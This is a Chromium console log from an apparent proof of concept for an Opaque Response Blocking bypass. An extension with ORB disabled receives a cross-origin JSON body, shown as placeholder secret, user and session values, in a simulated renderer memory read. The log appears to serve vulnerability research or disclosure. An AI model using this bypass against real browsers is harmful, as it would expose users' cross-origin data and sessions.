[7424:7424:0402/082201.729795:INFO:CONSOLE:14] "[ORB-POC][EXT-CONTROL] fetching http://127.0.0.1:8080/orb-poc-secret.json mode=no-cors", source: chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl/background.js (14) [ORB-POC][NETSVC] is_orb_enabled=true url=http://127.0.0.1:8080/orb-poc-secret.json initiator=chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl [7523:7553:0402/082201.753830:ERROR:third_party/blink/renderer/core/fetch/fetch_manager.cc:784] [ORB-POC][RENDERER] kOpaque response in renderer process; exposing internal body to JS (simulating memory read). url=http://127.0.0.1:8080/orb-poc-secret.json [7424:7424:0402/082201.756019:INFO:CONSOLE:17] "[ORB-POC][EXT-CONTROL] response.type=basic status=200", source: chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl/background.js (17) [7424:7424:0402/082201.757233:INFO:CONSOLE:19] "[ORB-POC][EXT-CONTROL] >>> BODY-IN-RENDERER-MEMORY: "" (length=0)", source: chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl/background.js (19) [7424:7424:0402/082201.757729:INFO:CONSOLE:23] "[ORB-POC][EXT-CONTROL] body empty - ORB correctly stripped it before delivery to renderer", source: chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl/background.js (23) [7424:7424:0402/082201.790102:INFO:CONSOLE:20] "[ORB-POC][EXT-ACTIVETAB] fetching http://127.0.0.1:8080/orb-poc-secret.json mode=no-cors", source: chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk/background.js (20) [ORB-POC][NETSVC] is_orb_enabled=false url=http://127.0.0.1:8080/orb-poc-secret.json initiator=chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk [7539:7556:0402/082201.809272:ERROR:third_party/blink/renderer/core/fetch/fetch_manager.cc:784] [ORB-POC][RENDERER] kOpaque response in renderer process; exposing internal body to JS (simulating memory read). url=http://127.0.0.1:8080/orb-poc-secret.json [7424:7424:0402/082201.811366:INFO:CONSOLE:23] "[ORB-POC][EXT-ACTIVETAB] response.type=basic status=200", source: chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk/background.js (23) [7424:7424:0402/082201.813290:INFO:CONSOLE:28] "[ORB-POC][EXT-ACTIVETAB] >>> BODY-IN-RENDERER-MEMORY: "{\"secret\":\"ORB-BYPASS-PROOF-7f3a9e2c\",\"user\":\"victim@example.com\",\"session\":\"abc123\"}" (length=85)", source: chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk/background.js (28) [7424:7424:0402/082201.813893:INFO:CONSOLE:30] "[ORB-POC][EXT-ACTIVETAB] *** VULNERABILITY CONFIRMED: cross-origin JSON body reached extension renderer ***", source: chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk/background.js (30) [ORB-POC][NETSVC] is_orb_enabled=true url=http://127.0.0.1:8080/orb-poc-secret.json initiator=chrome-extension://aonlkipnpoaloikngbllakgfkmkgechl [ORB-POC][NETSVC] is_orb_enabled=false url=http://127.0.0.1:8080/orb-poc-secret.json initiator=chrome-extension://eigkanghmllkonmpbhnjaklgjibdpkbk